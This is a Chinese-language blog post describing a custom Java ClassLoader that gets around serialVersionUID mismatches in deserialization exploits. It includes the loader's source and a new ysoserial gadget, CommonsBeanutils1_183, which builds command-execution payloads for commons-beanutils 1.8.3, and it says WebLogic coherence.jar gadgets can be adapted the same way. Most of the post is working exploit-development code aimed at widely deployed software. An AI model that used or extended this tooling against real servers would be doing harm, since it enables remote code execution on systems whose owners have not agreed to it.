使用自定义ClassLoader解决反序列化serialVesionUID不一致问题

0x01 背景

serialVesionUid不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料，发现了各种各样的方法，但没有找到一种适合所有gadget的通用解决方案，为此我花了一些时间，算是找到了自己心中比较完美的解决方案：自定义ClassLoader。目前已经将其集成到ysoserial中，可完美解决各类gadget serialVesionUID不一致问题。

0x02 各方案的优劣

在解决这个问题之前，我尝试的很多方法，简单说下它们各自能解决的问题和存在的缺陷。

方案1:修改序列化byte数据

该方法可解决序列化最终数据的serialVesionUID不一致，但无法解决Object的serialVesionUID不一致

方案2:反射修改serialVesionUID

可以解决1的缺陷，但无法解决Gadget依赖的class没有serialVesionUID属性的情况，因为反射只能修改Object的属性，不能添加。

方案3:修改Class字节码，添加或修改serialVesionUID

能解决Gadget直接依赖Class的serialVesionUID不一致问题，可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。

方案4:Hook ObjectStreamClass.getSerialVesionUID()

该方法负责返回所有参与序列化Class的serialVesionUID，Hook它并修改返回值，可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间，class差异较大，属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素：Class的属性和方法。如果属性类型改变了，单单只修改serialVesionUID是不够的。

方案5:URLClassLoader

使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲，原因有三：

第一，不方便隔离依赖。包含serialVesionUID不一致class的jar（这里简称不一致jar）是需要被隔离的。由于URLClassLoader是双亲委派模式，存在被父ClassLoader中的同名Class覆盖的风险。

第二，不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题（这里简称可共用jar），我们需要共享。

第三，不方便添加Class到ClassLoader中，URLClassLoader只提供添加jar的方法。

0x03 自定义ClassLoader解决方案

在我看来比较完美的方案不仅要解决以上方案的缺陷，还要能防止各种未知的”副作用”。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader，核心有两点：

1. 改双亲委派为当前ClassLoader优先，方便隔离不一致jar共享可共用jar
2. 方便添加Class和Jar到ClassLoader中

那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢？

自定义ClassLoader可以很方便地切换不一致jar为漏洞环境的对应版本，生成的发序列化数据自然不会存在serialVesionUID不一致问题。具体实现如下图，我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时，由于当前ClassLoader优先原则，存在不一致问题的class使用的是自定义ClassLoader加载的，实现隔离。而其他Class找不到，自然走双亲委派模式，去父ClassLoader中查找，实现共享。

下面我们分别来实现。

0x04 addClass && addJar

首先我们自定义的ClassLoader需要维护要一个装载Class的Map classByteMap,类名为键，类文件byte数据为值。方便后续添加和获取Class。

private Map<String, byte[]> classByteMap = new HashMap<String,byte[]>();

addClass方法，主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。

public void addClass(String className,byte[] classByte){
    classByteMap.put(className,classByte);
}

addJar方法，主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的class name和class byte，存储到classByteMap中。

private void readJar(JarFile jar) throws IOException{
    Enumeration<JarEntry> en = jar.entries();
    // 遍历jar文件所有实体
    while (en.hasMoreElements()){
        JarEntry je = en.nextElement();
        String name = je.getName();
        // 只class文件进行处理
        if (name.endsWith(".class")){
            String clss = name.replace(".class", "").replaceAll("/", ".");
            if(this.findLoadedClass(clss) != null) continue;
            // 读取class的byte内容
            InputStream input = jar.getInputStream(je);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            int bufferSize = 4096;
            byte[] buffer = new byte[bufferSize];
            int bytesNumRead = 0;
            while ((bytesNumRead = input.read(buffer)) != -1) {
                baos.write(buffer, 0, bytesNumRead);
            }
            byte[] cc = baos.toByteArray();
            input.close();
            // 将class name 和class byte存储到classByteMap
            classByteMap.put(clss, cc);
        }
    }
}

0x05 改双亲委派为自定义ClassLoader优先

要想打破双亲委派，我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized (getClassLoadingLock(name)) {
        // 1. 检测自定ClassLoader缓存中有没有，有的话直接返回
        Class clazz = cacheClass.get(name);
        if (null != clazz) {
            return clazz;
        }

        try {
            // 2. 若缓存中没有，就从当前ClassLoader可加载的所有Class中找
            clazz = findClass(name);
            if (null != clazz) {
                cacheClass.put(name, clazz);
            }else{
                clazz = super.loadClass(name, resolve);
            }
        } catch (ClassNotFoundException ex) {
            // 3.当自定义ClassLoader中没有找到目标class，再调用系统默认的加载机制,走双亲委派模式
            clazz = super.loadClass(name, resolve);
        }

        if (resolve) {
            resolveClass(clazz);
        }
        return clazz;
    }
}

findClass方法定义的是自定义ClassLoader查找Class的逻辑

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException{
    // 从classByteMap中获取
    byte[] result = classByteMap.get(name);
    if(result == null){
        // 没有找到则抛出对应异常
        throw new ClassNotFoundException();
    }else{
        // 将一个字节数组转为Class对象
        return defineClass(name, result, 0, result.length);
    }
}

0x06 编写版本兼容gadget

依然以ysoserial CommonsBeanutils1为例子。ysoserial中默认commons-beanutils是1.9.2版本，下面我们给它添加一个兼容1.8.3版本的CommonsBeanutils1_183。

通过对比1.9.2和1.8.3序列化数据，发现serialVesionUID不一致的只有org.apache.commons.beanutils.BeanComparator类，它在commons-beanutils-<version>.jar中，剩余的commons-collections-3.1.jar和commons-logging-1.2.jar为可共用jar。

接着就可以编写代码，调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。

@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF,Authors.CONY1 })
public class CommonsBeanutils1_183 extends Object implements ObjectPayload<Object> {
    public Object getObject(String command) throws Exception {
        // 创建自定义ClassLoader对象
        SuidClassLoader suidClassLoader = new SuidClassLoader();
        // 将Gadget class添加到自定义ClassLoader中
        suidClassLoader.addClass(CommonsBeanutils1.class.getName(),classAsBytes(CommonsBeanutils1.class));
        // 从资源目录读取commons-beanutils-1.8.3.jar的base64数据
        InputStream is = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream("commons-beanutils-1.8.3.txt");
        byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is));
        // 将Gadget不一致jar添加到自定义ClassLoader中
        suidClassLoader.addJar(jarBytes);
        Class clsGadget = suidClassLoader.loadClass("ysoserial.payloads.CommonsBeanutils1");
        // 判断存在serialVesionUID不一致问题的class是否是由自定义ClassLoader加载的
        if(BeanComparator.class.getClassLoader().equals(suidClassLoader)){
            // 使用自定义ClassLoader加载的Gadget class创建对象，调用其getObject构建序列化对象
            Object objGadget = clsGadget.newInstance();
            Method getObject = objGadget.getClass().getDeclaredMethod("getObject",String.class);
            Object objPayload = getObject.invoke(objGadget,command);
            suidClassLoader.cleanLoader();
            return objPayload;
        }else{
            System.out.println("Class is not SuidClassLoader loading, serialization failure!");
            return null;
        }
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutils1_183.class, args);
    }
}

Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目ysoserial-woodpecker

0x07 参考文章

• java类中serialversionuid 作用 是什么?举个例子说明
• Java自定义类加载器与双亲委派模型
• Java Deserialization Exploitation With Customized Ysoserial Payloads